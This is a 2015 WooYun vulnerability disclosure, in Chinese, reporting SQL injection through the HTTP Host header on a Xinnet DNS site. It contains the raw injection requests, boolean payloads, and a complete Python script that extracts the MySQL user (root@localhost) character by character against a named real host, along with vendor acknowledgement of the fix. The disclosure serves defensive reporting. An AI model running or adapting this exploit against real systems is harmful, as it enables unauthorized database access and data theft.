当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118298

漏洞标题:新网某站点HOST头MySQL注射(附验证脚本)

相关厂商:新网华通信息技术有限公司

漏洞作者: lijiejie

提交时间:2015-06-04 21:20

修复时间:2015-07-20 17:26

公开时间:2015-07-20 17:26

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-04: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经确认,细节仅向厂商公开
2015-06-15: 细节向核心白帽子及相关领域专家公开
2015-06-25: 细节向普通白帽子公开
2015-07-05: 细节向实习白帽子公开
2015-07-20: 细节向公众公开

简要描述:

新网某站点HOST头MySQL注射(附验证脚本)

详细说明:

注射点:

GET / HTTP/1.1
Host: www.baidu.com'or(length(user())=14)or'
Referer: http://dns-ch.xinnet.com
Cookie: JSESSIONID=321B603E350ABC1C5F02E8C9620B1AED
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


Host可注入。
另一个域名是: dns-ch2.xinnet.com

漏洞证明:

www.baidu.com'or(length(user())=14)or'


页面返回302

xinnet.1.png


www.baidu.com'or(length(user())!=14)or'


不等于14,返回错误提示:

xinnet.2.png


未进一步测试报错。验证猜解user():

MySQL user is root@localhost


xinnet.3.png


python脚本:

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,15):
for payload in payloads:
conn = httplib.HTTPConnection('dns-ch.xinnet.com', timeout=60)
s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
headers['HOST'] = "www.baidu.com'or(%s)or'" % s
conn.request(method='GET',
url='/',
headers = headers)
start_time = time.time()
status = conn.getresponse().status
conn.close()
if status == 302:
user += payload
print '\n[Scan in progress]', user
else:
print '.',
print '\n[Done]MySQL user is', user

修复方案:

过滤Host头

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-06-05 17:24

厂商回复:

非常感谢lijiejie@乌云,小新正在玩命确认及修复中

最新状态:

2015-06-11:漏洞已修复,非常感谢lijiejie@乌云